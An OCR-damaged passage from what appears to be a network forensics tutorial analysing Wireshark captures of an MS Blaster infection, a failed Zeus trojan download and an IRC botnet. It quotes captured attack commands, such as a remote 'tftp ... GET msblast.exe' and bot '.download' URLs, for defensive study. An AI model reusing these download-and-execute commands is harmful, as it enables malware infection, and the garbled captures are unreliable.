101131 180.191.2536 1 62 1 62 1] 0 15183015823 0.0000 N/A N/A
101131 180.191.2537 1 62 1 62 0 0 15.183135986 0.0000 N/A N/A
101131 180191.2538 1 62 1 62 0 0 15.183258056 0.0000 N/A N/A
101131 180.191.2539 1 62 1 62 0 0 15183382034 0.0000 N/A, N/A
101131 180.191.253.10 1 62 1 62 0 0 15183490753 0.0000 N/A N/A
101131 180.191.253.11 1 62 1 62 0 0 15.183609009 0.0000 N/A N/A
101131 180.191.253.12 1 62 1 62 0 0 15.183723450 0.0000 N/A. N/A
101131 180.191.253.13 1 62 1 62 0 0 15.183841705 0.0000 N/A N/A
101131 180.191.253.14 1 62 1 62 0 0 15.183959961 0.0000 N/A N/A
101131 180.191.253.15 1 62 1 62 0 0 15.184080124 0.0000 N/A N/A
101131 180.191.253.16 1 62 1 62 0 0 15184196472 0.0000 N/A N/A
101131 180.191.25317 1 62 1 62 0 0 15.184310913 0.0000 MN/A N/A
101131 180.191.253.18 1 62 1 62 0 0 15184427261 0.0000 N/A N/A
101131 180.191.253.19 1 62 1 62 0 0 15.184564590 0.0000 N/A N/A
101131 180.191.253.20 1 62 1 62 o 0 15.184682846 0.0000 N/A N/A T
Name resclution [ Limit to display filter
’ Help ] [ Copy ] Follow Stream Graph A—B Graph B—A | Close I

Figure 12. The Wireshark “Statistics -> Conversations” display showing IPv4 Address conversations displaying a suspicious
pattern indicative of possible Network SYN-scanning originating from 10.1.1.31

Similar to the functionality of both the Protocol and Endpoints statistical menus, Wireshark has the
“Right-click-> Select Related” functionality available within this statistical menu as well.

Focus in on the “suspicious” behavior — Utilize visual reconstruction techniques to examine the traffic
flow and reconstruct the “Event” of interest.



64 172.16.1.10
65 172.16.1.10
66 68.164.173.62
67 68.164.173.62
68 172.16.1.10
172.16.1.10

S7ENGSSIG| Comeony:l)
88 68.164
89

68.164.173.62
68.164.173.62
172.16.1.10
172.16.1.10
68.164.173.62
68.164.173.62

Summary : Worm.Analiz.Process

nknown

No. |tp-src | 1P - Dest | Time [protocoi_[Length  [info
6l 68.164.1/73.62 1/2.10.1. 10 by, /98997 TCP 60 4731 > 135 [ACK] Seq=>53/13000/ »
62 68.164.173.62 172.16.1.10 70.476275 TCP 60 1216 > 135 [ACK] Seq=558177394 »
63 68.164.173.62 172.16.1.10 70.496296 DCERPC 126 Bind: call_id: 127 Fragment: Sir

70.496445 DCERPC 114 Bind_ack: call_id: 127 Fragment:

72.876008 TCP
72.974040 TCP

54 135 > 4800 [FIN, ACK] Seq=34564%
1486 [TCP segment of a reassembled PIL

72.975773 emActi+ 86 RemoteCreateInstance request[Lor
54 135 > 1216 [ACK] Seg=3486354286
54 135 = 1216 [FIN, ACK] Seq=34863:

72.975807 TCP
73.023928 TCP

Description : Identified by Sophos as the Rbot-RP worm, the Analiz threat
exploits backdoor functionality and can spread through
unprotected or unauthorized remote penetration. This threat
may also be identified as W32/H)-6963.

Worm.Analiz should not be confused with Dialer.Anal-Liz, which
is an unrelated premium rate dialer application.

Worms are programs that propagate by snl'cadmg overa
network. A worm is a special type of computer virus.

This application is most likely downloaded and installed through

vulnerabilities in system security or by another application that
i& congiderad to ba adware or spyware.

177. 16|Threat Level : IR T T I N

Category : WORM

135 > 1216 [FIN, ACK] Seq=34863:

D 1216 > 135 [AcCK]
D 1216 > 135 [FIN,
135 > 1216 [ACK]

Seq=558178930 &
ACK] Seq=558171
Seq=3486354287

Figure 13. Sample Wireshark capture showing information about a suspicious file name contained within a TFTP transfer

Follow TCP Stream

PASS 10m3za
'I'('K d mrn 0?!’}?‘}?(04?

Unreal3.2
i4:58:49 ¢
i owghr aAsORTVSANCWQBZVAHTGR 1

INICKLEN=30 TOPICLEN=307 KICKL
lserver

[CASEMAPPING=ascii EXTBAN=~,c
hunt3d. devilz.net 251 damn-

thunt3d.devilz.net 252 damn-0
shunt3d.devilz.net 253 damn-0
hunt3d. devilz.net 234 damn=0
chunt3d.devilz.net 255 damn-0
thunt3d.devilz.net 265 damn-0
thunt3d.devilz.net 266 damn-0
thuntid.devilz.net 422 damn-0
:damn-0262937047 mODE damn-02

thunt3d.devilz.net 332 damn-0
bbnz. exe 1

thunt3d.devilz.net 353 damn-0
thunt3d.devilz.net 366 damn-0

chunt3d. devilz.net 332 damn-0

chunt3d. devilz.net 333 damn-0
thuntdd.devilz.net 366 damn-0
thunt3d.devilz.net 332 damn-0

E evilz. I’IEt NOT.'[CE .‘\UTH -
hunLid devilz.net ROTICE AUTH """ Found iruu
:hunt3d.devilz.net 001 damn-0262937047 :we

lohmfeirsfrlh-68-164-92-148. snvacaid. dynamic. covad. net
thunt3d.devilz.net 002 damn-026293704

:damn-0262937047 | ghmfeirsfn@h-68

Backdoor Client (Bot) IRC Login to Bot-Server

Looking

thunt3d. devﬂz net 004 damn-0262937047 hu

vhopsmntikrRg

hunt3d.devilz.net 005 damn-0262937047 MAP)

0w Bot-Server downloading updates to infected Bot

" flus trame

come to the devilz IRC Network damn-0262037047!
:¥our host is hunt3d.devilz.net, running version

shunt3d, dev11z net 003 damn=0262937047 :This server was created Thu Sep 9 2004 at

devilz pet Unreal3 2

care supported

26293304? There are 1 users and 5122 invisible on 1 servers

262037047 2 :ope
262937047 14 :unl
762937047 19 :ch

262937047 :1I have 5123 clients and 0 servers
nt Local Users: 5123 mMax: 9508

262937047 :Currel
262937047 :Curre
262937047 :MOTD
62937047 41

262937047 #s01 :
262937047 @ #s01
262937047 #s01

262937047 #s02 .

262937047 #s0.

262937047 #s02
-164-92-148.5
262937047 #s03 :

:hunt3d.devilz.net 005 damn-0262937047 WALLCHOPS WATCH=128 SILENCE=15 MODES=12
[CHANTYPES=# PREFIX=(ohv)@¥s cnmuoo:s:beqa kfL,1,psmnti rRCOAQKVGCUZNSMT NETWORK=devilz

by this server

rator(s) online
known connection(s)
annels forme

nt Global Users: 5123 Max:
File is missing

:damn-0262937047 | ghmfeirsfn@h-68-164 - 92-148.snvacaid.d

. download Ettp : //wwew . wanees . nct!hhnz axe |

5123

ihunt3d.devilz.net 333 damn-0262937047 #s01 AL7uB 1103771901

:damn-0262937047
:End of /NAMES list.

:damn-0262937047 [ ghmfeirs fnlh-68-164-92-148. snvacaid. dynamic. covad.net JOIN :#s02

download http://

webacceptor. findwhatevernow. com: 8091 /get. file?

laction=f1iledafp=13001&class=682&affiliate=} ock?r‘
AL

thunt3d.devilz.net 353 damn-0262937047 @ #502 :damn- 026293?04?

(End of /NAMES hst
nvacaid. dypam
. download

ysb_exe.php?account-wd=1000489&user_‘leve‘l=3 ysbinstaﬂ_ 00 =

thunt3d.devilz.net 333 damn-0262937047 #s03 AL7uBR IICI"!??!RCN
:hunt3d.devilz.net 353 damn-0262937047 @ #s03 :damn-0262937047
ihunt3d.devilz.net 366 damn-0262937047 #s03 :end of /NAMES list.

Figure 14. Sample of a detailed examination of a suspicious network conversation displayed using the “Right Click -> Follow

TCP Stream” option

To better illustrate the process, let’'s examine several Forensic Case Studies including examples of ma-
licious Worm Infections including the MS Blaster and Zeus (Zbot) worm infection attempts, identification
of an existing Botnet and an example of a Voice Over IP (VolP) reconstruction and playback.
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SAMPLE CASE STUDY #1 - MS BLASTER BWORM INFECTION

During the early morning hours of 11 August 2003, network administrators around the world awoke to
discover that a new breed of self-propagating Network Worm had been unleashed; the MS Blaster.
The following case study shows a “Zero-day” attack of the Worm on a customer network that was run-
ning network analysis software configured to support continuous capture.

Packet Capture Background: This file was collected from a Client network that was experiencing
random performance delays and erratic Desktop Machine symptoms. IP Address 141.157.228.12
was identified as an external server and IP address 10.1.1.31 was identified as a standard custom-

er workstation.

Observed Client Network Symptoms: Personal observations of infection symptoms varied but includ-
ed the presence of an MS-Dos pop-up window displaying the following message as well as very
slow performance and random rebooting cycles.

C:Nodivsw

Uolume in drive C has
Uolume Serial Number is 343E-2558

no lahel.

Directory of C:\

AUTOEXEC.BAT

[Documents and Settings] [Games]

[Phill Stuff]
[Phill Work Stuff]
[Templ

12 Dir<{s>

I just wanted to say LOUE YOU SAN?'! billy

CONFIG.SYS

[Phill Trace Files]
[Program Files]
[WINDOWS 1

3 File<(s> 17.871 hytes
5.121,583,232 hytes

gates

[DELL]

[My Shared Folder]
[Phill Tunes]
[Student Downloads]
YServer.txt

free

why do you make this possibl

7 Stop making money and fix your software??_

Figure 15. Sample screen display of a machine infected with the MSBlaster “B” variant

* Forensic Analysis of Packets: Network traffic packet captures revealed the following: In this screen
we see a previously infected server IP 141.157.228.12 exploiting an unpatched target at IP 10.1.1.31.
Once the TCP 3-way handshake to TCP Port 4444 is complete, the attacker executes a remote Pro-

cedure Call (RPC) on the target in packet #4.

| Worm - Msblaster (Sucessful Attack2 - Editedhpkt [Phill's Magical Mystery Machine -]

Ele Edit Yiew Go Capture Anshyze Statistics Telephony Icols |ntemals Help
o @ 2l A2 A ¢+ T L EBEE QA0 EBRE @
Filter: = | Expression.. Clear Apphy Save jrg e Downloads TCPSA TCP Syn
No. IP - Sre IP - Dest Time Protacol Sue(B)  Info
141.157.228.12 10.1.1.531 0.000000000 TCP 62 1857 > 4444 [SYN] Seq=1521629589 Win=64800 Len=0 M*

1

2 10.1.1.31 141.157.228.12  0.000268936 TCP 62 4444 > 1857 [SYN, ACK] Seq=2205924037 Ack=15216295
3 141.157.228.12 10.1.1.31 0.082813263 TCP 60 1857 > 4444 [ACK] Seq=1521629590 Ack=2205924038 Wi
4

141.157.228.12 10:1°1.31 0.177883148 TCP, 93 1857 > 4444 [PSH, ACK] Seq=1521629590 Ack=22059240.

5 10.1.1.31 141.157.228.12 0.349040985 TCP 93 4444 > 1857 [_%II A(_I\] 5eq=1205924038 Ack=15116296.
6 10.1.1.31 141.157.228.12 0.502626991 TFTP 62 |Read Requeal File: msblast.exe, Transfer type: octet |
7 141.157.228.12 10.1.1.31 0.534942627 TCP 60 1857 4444 f_CI:Tqu—l‘-’IG’QG"Q Ack=2205924077 Wiz
8 10.1.1.31 141.157.228.12 0.535177231 TCP 158 4444 > 1857 [PSH. ACK] Seq=2205924077 Ack=152162962
9 141.157.228.12 10.1.1.31 0.616458803 TFTP 558 Data Packet, Block: 1
10 10.1.1.31 141.157.228.12 0.617895126 TFTP 60  Acknowledgement, Block: 1

0000 0060 370000020003 6d 1733208004500 .'7..... m.3..E.

0010 00 4f 04 €9 40 00 6a 06 Se f6 8d 9d ed Oc 0a 01 .O.@,j. ........

0020 011f0741115c5ab2 399683 Tbbact 50 & AN LE.
0030 fd 20 e8 0a 00 00 74 66 74 70 20 2d 69 20 31 : wtftp-i 14 1
0040 312e3135372e3232 382e31322047455 1.157. “b]- GET
0050 206d 7362 6c61 7374 2e 65 7865 0a

RPC command to download the Worm

Figure 16. Sample Wireshark capture showing a packet capture taken from the network in question displaying a suspicious file

name contained within a TFTP transfer



il

* Packet #4 — The RPC command “tftp -1 141.157.228.12 GET msblast.exe” imbedded within the
payload directs the client, 10.1.1.31 to download a file named msblast.exe from 141.157.228.12 us-
ing the Trivial File Transfer Protocol (TFTP).

+ Beginning in packet #6 and concluding in packet #41, we see the client initiate the TFTP transac-

tion and download process.

TP -Src [IP - Dest [Time [Feteal Jieoth [info

610.1.1.31 141.157.228.12 0.502697 TFTP 62 Read Request, File: mshlast.ex
9141.157.228.12 10.1.1.31 0.616459 TFTP 558 Data Packet, Block: 1
1010.1.1.31 141.157.228.12 0.617895 TFTP 60 Acknowledgement, Block: 1
16 141.157.228.12 10.1.1.31 1.519664 TFTP 558 Data Packet, Block: 2

17 10.1.1.31 141.157.228.12 1.523540 TFTP 60 Acknowledgement, Block: 2
20 141.157.228.12 10.1.1.31 2.425865 TFTP | 558 Data Packet, Block: 3
2110.1.1.31 141.157.228.12 2.430854 TFTP 60 Acknowledgement, Block: 3
22 141.157.228.12 10.1.1.31 3.332098 TFTP 558 Data pPacket, Block: 4
23:10.1-1:31 141.157.228.12 3.332752 TFTP 60 Acknowledgement, Block: 4
24 141.157.228.12 10.1.1.31 4.238330 TFTP 558 Data Packet, Block: 3
2510.1.1.31 141.157.228.12 4.244026 TFTP 60 Acknowledgement, Block: 5
26 141.157.228.12 10.1.1.31 5.145458 TFTP | 558 Data Packet, Block: 6
2710.1.1.31 141.157.228.12 5.152692 TFTP 60 Acknowledgement, Block: ©
28 141.157.228.12 10.1.1.31 6.050621 TFTP | 558 Data Packet, Block: 7
2910.1.1.31 141.157.228.12 6.053781 TFTP 60 Acknowledgement, Block: 7
30 141.157.228.12 10.1.1.31 6.956802 TFTP 558 Data Packet, Block: 8
3110.1.1.31 141.157.228.12 6.961467 TETP 60 Acknowledgement, Block: 8
32 141.157.228.12 10.1.1.31 7.864008 TFTP 558 Data Packet, Block: 9
3310.1.1.31 141.157.228.12 7.866905 TFTP 60 Acknowledgement, Block: 9
34 141.157.228.12 10.1.1.31 8.770122 TFTP 558 Data Packet, Block: 10
3510.1.1.31 141.157.228.12 8.773080 TFTP 60 Acknowledgement, Block: 10
36 141 AS7T-228 912 10 1 1 31 Q _A7ARINT TETR S5SR nNata Parcketr Rlack: 11
3719 Server infects the workstation with MSBlaster-Worm via TFTP Download | *!
3010.1.1.31 141.157.228.12 10.584571 TFTP 60 Acknowledgement, Block: 12
40 141.157.228.12 10.1.1.31 11.459194 TFTP 78 Data Packet, Block: 13 (last)

Figure 17. Sample Wireshark capture showing the transfer of the suspicious file from 141.157.228.12 via the use of the TFTP

protocol

A closer look at the reassembled payload of the TFTP file transfer reveals a hidden message
within the Worm.
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Figure 18. Sample of the detailed examination of a suspicious conversation showing a hidden message which corresponds to
the display on the infected workstations

+ Packet #42 — Once the MSBIlaster worm (file msblast.exe) has been successfully downloaded by
10.1.1.31 from 141.157.228.12, it is directed to execute the file by the RPC command “start ms-
blast.exe” imbedded in the payload.
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e Edt Veew Go ;evtune Aralyze 331 ries 'Ieleﬂ-on}_- Tock [memsls  Help
@ 4 W g ERF A+ TL2 BEG Qb ¥R % H
Filter: +| bpeession—. Clesr Agply Seve  Jpg e
Mo P S IP - Dest Time " DeRaTime Pretocol Sice (B) SccPot  DestPot oo
26 14115722812 10.1.1.31 5145458221 0.901432037 TFTP 558 69 1028  Data Packet. Block: 6
27 10.1.1.31 141.157.228.12  5.152692798 0.007234574 TFTP 60 1028 69 Acknowlzdgement, Block: 6
28 14118722812 10.1.1.31 6.050621033 0407928238 TFTP 833 69 1028  Data Packet, Block: 7
20 10.1.1.31 141.157.228.12  6.053781509 0.003160476 TFTP 60 1028 69 Acknowledgement, Block: 7
30 141.157.228.12  10.1.1.31 6.956802368 0.903020859 TFTP 558 ] 1028  Data Packet. Block: §
31 101131 141.157.228.12  6.961467743 0.004665375 TFTP 60 1028 ] Acknowledgement. Block: §
32 14015722812 10.1.1.31 7864007950 0.9023840207 TFTP 538 69 1023 Data Packet. Block: 9
33 100131 141.157.228.12  7.866905212 0.002897262 TFTP 1] 1028 69 Acknowledgement, Block: 9
34 141.157.228.12 10.1:1.31 8.770122528 0903217316 TFTP 558 69 1028 Data Packet, Block: 10
s 10.1.1.31 141.157.228.12  8.773080826 0.002958298 TFTP 60 1028 69 Acknowledgement, Block: 10
36 141.157.228.12 10.1.1.31 9676307678 0.903226852 TFTP 558 69 1028  Data Packet, Block: 11
3T 10.1.1.31 141.157.228.12 9.677392059 0.001085281 TFIP &0 1028 69 Acknowledgement, Block: 11
38 141.157.228.12 10.1.1.31 10. 582477569 0.905084610 TFTP 358 [ 1028 Data Packet, Block: 12
39 10.1.1.31 141.157.228.12 10584571838 0.002094 260 TFTP 60 1028 69 Acknowledgement, Block: 12
40 14115722812 10.1.1.31 11439194183 0.874622345 TFTP 73 69 1028 Data Packet, Block: 13 (last)
41 101 1 141.157.228.12 11.463127136 0.003932953 TFTP 60 1028 L] Acknowledgement, Block: 13
13.178480148  1.715353012 H 7 5 : [TCP ACKed unseen segment] 1857 > 4444 [PSH, ACK]
0000 0060 370000020003 6d 1733 22 0B 004500 .7
0010 003205 1340006206 Seel 3doded 0c 0201 L@ vovinnn
0020 01 107 41 11 5¢ Sab2 39 bd 83 7b bb 28 S0 18
0030 fc 3e91 750000 73 74 61 72 74 20 6d §3 62 6: .5t art 111s'bl
0040 6173 74 2e 65 7665 0a

Figure 19. Sample Wireshark capture showing the RPC command sent from 141.157.228.14 to 10.1.1.31

+ Packets #44-663 — Upon receipt of the execute command, 10.1.1.31 executes the Worm payload
and begins executing the MS Blaster Worm behavior of attempting to propagate further via a se-
ries of targeted TCP SYN commands targeting TCP Port 135 (MS NetBIOS) in the destination IP
subnet 180.191.253.0/24. Further examination revels that the Worm attempts to evade detection
by rotating the Source TCP Port number in a sequential pattern.

[t -src IP - Dest Tme |Protocol |Length  |Info
4410.1.1.31 180.191.253.1 15.182403  TCP 62 1029 » 135 [SYN]|5€q=2209767891
4510.1.1.31 180.191.253.2 15.182544  TCP 62 1030 > 135|[SYN] [Seq=2209826792
4610.1.1.31 180.191.253.3 15.182664 Tcp 62 1031 > 135][S¥N]|Seq=2209875599
47 10.1.1.31 180.191.253.4 15.182779  TCP 62 1032 > 135|[SYN]|Seq=2209914664
4810.1.1.31 180.191.253.5 15.182899  TcP 62 1033 > 135|[svN]|5eq=2209955055
4910.1.1.31 180.191.253.6 15.183015  TCP 62 1034 > 135|[SYN][5eq=2210006969
5010.1.1.31 180.191.253.7 15.183136  TCP 62 1035 > 135]|[SYN][Seq=2210066265
5110.1.1.31 180.191.253.8 15.183258 TCP 62 1036 > 135)[SYN]|5eq=2210127960
5210.1.1.31 180.191.253.9 15.183382  TcP 62 1037 > 135|[sN][5eq=2210167019
33 10.1.1.31 180.191.253.10 15.183490 TCP 62 1038 > 135|[SYN]|5eq=2210207993
54 10.1.1.31 180.191.253.11 | 15.183609  TCP 62 1039 > 135|[SYN]|5eq=2210265390
5510.1.1.31 180.191.253.12 | 15.183723  TCP 62 1040 > 135|[SYN]|Seq=2210311217
5610.1.1.31 180.191.253.13 15.183841 TCP 62 1041 > 135|[SYN]|Seq=2210376132
57 10.1.1.31 180.191.253.14 | 15.183960  TcP 62 1042 > 135|[svN]|seq=2210410320
5810.1.1.31 180.191.253.15 | 15.184080  TCP 62 1043 > 135|[SYN]|Seq=2210468332
5910.1.1.31 180,191.253.16 | 15.184196  1cp 62 1044 > 135]|rsvn1lseq-2210526690
g 10.1.1.31 Now scans for other nodes beginning in the 180.191.253 XXX range fi¢,:
67 T T 3T Lmﬁ—rr'—rmm TCP B2 I 3362
6310.1.1.31 180,191.253.20 | 15.184682  TcP 62 1048 > 135 Seq=2210716189

Figure 20. Sample Wireshark capture showing the new TCP SYN san triggered by the Worm now active in 10.1.1.31 as it
attempts to locate another vulnerable system to infect

+ MSBlaster Worm Background: First detected in the wild on 11 August 2003, the MS Blaster B variant
is often cited as an example of an internet worm designed to create an army of infected computers;

often referred to as “Zombie PC’s” or “Bots” to be used in a Distributed Denial of Service (DDoS) at-
tack against a specific target, in this case Microsoft.

It specifically targeted systems running Windows 200 and the 32-bit version of Windows XP by exploit-
ing a buffer overflow in the DCOM RPC stack. Infected machines will attempt to further propagate the
infection via a TCP SYN scan targeting TCP Port 135 of the infected subnet.

Once infected, systems would be directed to launch a Distributed Denial of Service (DDoS) against Mi-
crosoft Windows Update using the flowing schedule:
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* Any day in the months September — December
+ 16th to the 31st day of the following months: January — August
A “CERT Advisory CA-2003-20 W32/Blaster worm”. Cert.org

//////
SAMPLE CASE STUDY #2 - ZEUS (ZBOT) TROJAN FAILED INFECTION ATTEMPT

Sometimes, valuable lessons can be learned from apparent failures that reveal unsuspected vulnerabili-
ties as well as strengths. For example, the next case study reveals that the customer network, while hav-
ing been penetrated by a Zeus Trojan attack, is still secure against this particular variant.

» Packet Capture Background: This file was taken from a Client network that was experiencing inter-
mittent performance delays and erratic Desktop Machine symptoms with a specific user. IP Address
89.187.51.0 (final octet masked at Client request) was identified as an external server located eight
hops away in the Russian Federation and IP address 192.168.3.25 was identified as the user work-
station running MS Windows 7 Professional version.

* Forensic Analysis of Packets: Network traffic packet captures revealed the following:

+ Packets #1-3 — We see the client workstation (192.168.3.25) initiating the TCP 3-way handshake
to TCP Port 80 in server 89.187.51.0

oO@® AW 2 A XD e DT R IBDE QAN @§FEME O

Filter «] Bpression.. Cle e jey e

No. IP - Sec 1P - Dest Time DekTime Protocol  Size (B) SecPort  Dest Port Info
1 192.168.3.25  8§9.187.51.0 0.000000  0.000000 TCE 62 1051 80 1051 = 80 [SYN] Seq=3862586801 Wit
2 80.187.51.0 192.168.3.25 0219794 0.218794 TCP 62 80 1051 80 > 1051 [SYN, ACK] Seq=40697227
3 192.168.3.25 8§9.187.51.0 0.221962  0.002168 TCP 60 1051 80 1051 > 80 [ACK] Seq=3862586802 Ac
4 192.168.3.25  §9.187.51.0  0.223935  0.001973 HTTP 219 1051 80 GET /nbbn.tar HTTP/1.1
5 §9.187.51.0 192.168.3.25  0.444535  0.220600 TCP 54 80 1051 80 > 1051 [ACK] Seq=4069722704 Ac
6 89.187.51.0 192.168.3.25 0.449296  0.004761 TCP 1426 80 1051 [TCP segment of a reassembled PDU]
7 §9.187.51.0 192.168.3.25 0.449819 0.000523 TCP 1426 §0 1051 [TCP segment of a reassembled PDU]
8 192.168.3.25 89.187.51.0 0.451005 0.001186 TCP 60 1051 80 1051 = 80 [ACK] Seq=3862586967 Ac
9 B89.187.51.0 192.168.3.25 0.675966 0.224961 TCP 1426 80 1051 [TCP segment of a reassembled PDU]
10 89.187.51.0 192.168.3.25 0.676292 0.000326 TCP 1426 80 1051 [TCP segment of a reassembled PDU]
11 89.187.51.0 192.168.3.25 0.677088 0.000796 TCP 1426 80 1051 [TCP segment of a reassembled PDU]
12 192.168.3.25 §9.187.51.0  0.677937  0.000849 TCP 60 1051 80 1051 > 80 [ACK] Seq=3862586967 Ac
13 192.163.3.25 §9.1387.51. 0 0.856904  0.178967 TCP 60 1051 30 1051 > 80 [ACK] Seq=3862536967 Ac
14 89.187.51.0 192.168.3.25 0.902107  0.045203 TCP 1426 80 1051 [TCP segment of a reassembled PDU]
15 89.187.51.0 192.168.3.25 0903564 0.001457 TCP 1426 80 1051 [TCP segment of a reassembled PDU]
16 192.168.3.25 $9.187.51.0 0.903833  0.000269 TCP 60 1051 80 1051 = 80 [ACK] Seq=3862586967 Ac
17 89.187.51.0 192.168.3.25 0.904167 0.000334 TCP 1426 80 1051 [TCP segment of a reassembled PDU]
18 192.168.3.25 $9.187.51.0 1.074860  0.170693 TCP 60 1051 80 1051 > 80 [ACK] Seq=3862586967 Ac

Figure 21. Sample Wireshark capture showing suspicious traffic with in the client’s network

* Packet #4 — The client then executes a HTTP GET request for a file named “/ribbn.tar” to the Do-
main “pipiskin.hk“ (Apparently a Domain located in Hong Kong) as shown in the Wireshark “Fol-
low TCP Stream” located under the “Right-Click Menu”

+ Packets #5-46 — Contain the payload of the request file “/ribbn.tar” which research at Sourcefire
VRT Labs reveals the following information: /ribbn.tar is one of the alias file names used by the
Zeus Trojan (Worm).

+ Fortunately, the execute command “weibullhost ~ $ tar xzf ribbn.tar.gz” fails due to the lack of a
Linux client on the user’s workstation.

+ Zeus Worm Background: “...a Trojan horse that steals banking information by man-in-the-brows-
er keystroke logging and Form Grabbing. Zeus is spread mainly through drive-by downloads and
phishing schemes. First identified in July 2007 when it was used to steal information from the Unit-
ed States Department of Transportation it became more widespread in March 2009. In June 2009,
security company Prevx discovered that Zeus had compromised over 74,000 FTP accounts on web-
sites of such companies as the Bank of America, NASA, Monster.com, ABC, Oracle, Play.com, Cis-
co, Amazon and BusinessWeek... http://fen.wikipedia.org/wiki/Zeus_(Trojan_horse)

SAMPLE CASE STUDY #3 — AN ESTABLISHED BOT-NET WITHIN THE NETWORK
Unfortunately, much like traditional Law Enforcement work, Network Forensics is nothing like a detective
novel. Seldom do the clues lead in a single, logical progression to one inescapable conclusion. Rather, it
is just like real-world investigations; we look in likely places for leads and follow these leads as best you
can with the understanding that all of the evidence will not always point to the same thing.
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Many times, the relationship between the “leads” and the culprit is not obvious, some will result in dead
ends, but others will produce useful information, typically we have to investigate each suspicious indica-
tion until we find the solution — Decide the most likely scenario, based on the majority of evidence.

Note: Afamous author summarized it best, in my opinion, with his fictional detective uttering “

...when

you have eliminated the impossible, whatever remains, however improbable, must be the truth...”
S. Holmes — The Sign of the Four, Ch. 6 (1890).

A Follow UDP Stream (s S
Stream Content
lcanahz exe.octet...analiz.exe.octet}...MZ 2 700
(2
o N Do remmammemncamaes u seod omoad & SRS IS [AEAS
SOy e SUL W T/ FI S =L s
S...W.AA_ V.
e eeadl V<u.S.V.@Yty.<u.@PUS.u..... IVEZ/— PE
| L ne s mnmnmanam e meanaasnaemsaeoaaas aasao
(R TR SRSIN———
MEW F ATk L [ §3..8.3..5.L.A
S.U>... uS&UHS}s
...S....\V.A_A ..... V..
M e A BN (7N B SR 2Oy T <3 /N ¥ b (S
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Packet Capture Background: This file was taken from a Client network that was initially not suspect-
ed of being compromise. The infection was discovered while troubleshooting user complaints of a

“Slow Network”.

Forensic Analysis of Packets: IP Address 68.164.173.62 was identified as an external server, running
MS Windows Server 2000 and located seven hops away in the United States, using ASN 18566;
while IP address 172.16.1.10 was identified as the user workstation running MS Windows XP Pro-
fessional version. Examination of the Protocol Statistics menu revealed the presence of both IRC
and TFTP protocols. Using the “Right-Click-> Select Related” choice resulted in two different sets of

packets in which a detailed analysis provided the following insights:

» Packets #70 — #512 (TFTP Analysis) — Beginning in packet #70 and concluding in packet #512,
we see the client initiate the TFTP transaction and requesting a download of a file named “analiz.

exe”. Using the “Following UDP Stream” command, we see the following image:

{<Va..bzl.p. Comp StSn+gW.eA09dOLF.A..QushC.B.f...Y.XdHa@H G...Typ.W...R.IU.w
Ud.I3.8F.... (u.=..!QsWN...A...0.....q.TpPL3as.rsB.

AB.Th.0. Mo u.R.Nam..Ex.t. eL.v...t.cIG.]...E..&>...T"k..ul.?<.z.?HA.zQp..Dme...L.L.#
$.m:.M.b. B\f .0W.d.\ha.*R.. uCzos fW}.. . {T.(sz...dP:ip....D.QPu.ydP.f..m$Tc...

FfFan Y. - A N -l M. TATY
., »

Entire conversation (57894 bytes)

Eind Save As Print [ ASCH EBCDIC Hex Dump C Arrays @ Raw

Help Filter Out This Stream | Close I

Figure 22. Sample Wireshark capture showing a packet capture taken from the network in question displaying a suspicious file
name contained within a TFTP transfer

Research into the function of this file name reveals that this is most likely the Rbot-RP Worm that
exploits backdoor functionality and can spread through unprotected or unauthorized remote pen-
etration. This threat may also be identified as W32/HJ-6963. — www.fileresearchcenter.com/A/

ANALIZ. EXE-4657.html

+ Packet #134 — #301 (IRC Analysis) — Packet #134 is the beginning of an IRC connection to an
IRC server identified by IP Address 69.64.34.124 located eight hops away and registered in
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Saint Louis, Missouri in the United States and using ASN 30083. Using the “Following TCP
Stream” command, we see the following image:

s Backdoor Client (Bot) IRC Login to Bot-Server

:huntid.devilz.net NOTICE AUTH ;%7 Looking U=y
hunt3d. devilz.net ROTICE AUTH ;% ## Fuurni our hos trame

thunt3d.devilz_net 001 damn-0262037047 ‘{come to the devilz IRC Network damn-0262037047!
ohmfei rsfn@h-68-164-92-148. snvacaid. dynamlc covad. net

rhunt3d.devilz.net 002 damn-026293704/ :Your host is hunt3d.devilz.net, running version

Follow TCF Stream

PASS IUm3za
‘I(K damn [})f\)‘}i 047
feirsfn

unreal3.2

|1u2§3quevl1z .net 003 damn-0262937047 :This server was created Thu Sep 9 2004 at

14

thunt3d.devilz.net 004 damn-0262937047 huntid. devilz pet Unreal3. 2

iowghraAsORTVSXNCWQEZYvdHLIGR TvhopsmntikrRg) 1

chunt3d.devilz.net 005 damn-0262937047 MAP r - - - =

e en 36 Tor e tnogor vt e a0 i BOt-Server downloading updates to infected Bot
server =
thunt3d.devilz.net 005 damn-0262937047 WALLCHOPS WATCH=128 SILENCE=13 MODES=12
ICHANTYPES=F# PREFIX=(ohv)@%+ CHANMODES=beqa,kfL,1,psmntirRcOAQKVGCUZNSMT NETWORK=devilz
ICASEMAPPING=ascii EXTBAN=~,cqr :are supDonted by this server

thunt3d.devilz.net 251 damn-0262937047 :There are 1 users and 5122 invisible on 1 servers
rhunt3d. devilz. net 252 damn-0262037047 2 oper‘atar‘(s) online

thunt3d.devilz.net 253 damn-0262937047 14 :unknown connection(s)

‘hunt3d. devilz.net 254 damn-0262937047 19 :channels formed

chunt3d.devilz.net 255 damn-0262937047 :I have 5123 clients and 0 servers
thunt3d.devilz.net 265 damn-0262937047 :Current Local Users: 5123 max: 9508
thuntid.devilz.net 260 damn-026293/047 :Current Global Users: 5123 Max: 5123
thuntid.devilz.net 422 damn-0262937047 :MOTD File is missing

:damn-0262937047 MODE damn-0262937047 :+i

:damn-0262937047 | ghmfeirsfn@h-68-164 - 92-148.snvacaid. dypamic_covad net I0TN - #<01
thunt3d. devilz.net 332 damn-0262937047 #s01 :.download http://www.wanees.net/bbnz.exe |
bbnz. exe 1
ihunt3d.devilz.net 333 damn-0262937047 #s01 AL7uB 1103771901

:hunt3d. devilz.net 353 damn-0262037047 @ #s01 :damn-0262037047

shunt3d.devilz.net 366 damn-0262937047 #s01 :eEnd of /NAMES list.

1 damn-0262937047 | ghmfeirs fn@h-68-164 -92-148. snvacaid. dynamic. covad.net JOIN :#s02
thunt3d. devilz.net 332 damn-0262937047 #s02 :.download http://

webacceptor. findwhatevernow. com: 8091 /get. file?
action=f1ilefafp=13001&c]ass=682&affiliate=jocker

thunt3d.devilz.net 333 damn-0262937047 #s02 AL uB

thunt3d.devilz.net 353 damn-0262937047 @ #s02 :damn- 026293’04’

shuntdd.devilz.net 366 damn-0262937047 #s02 :End of /NAMES 1ist.

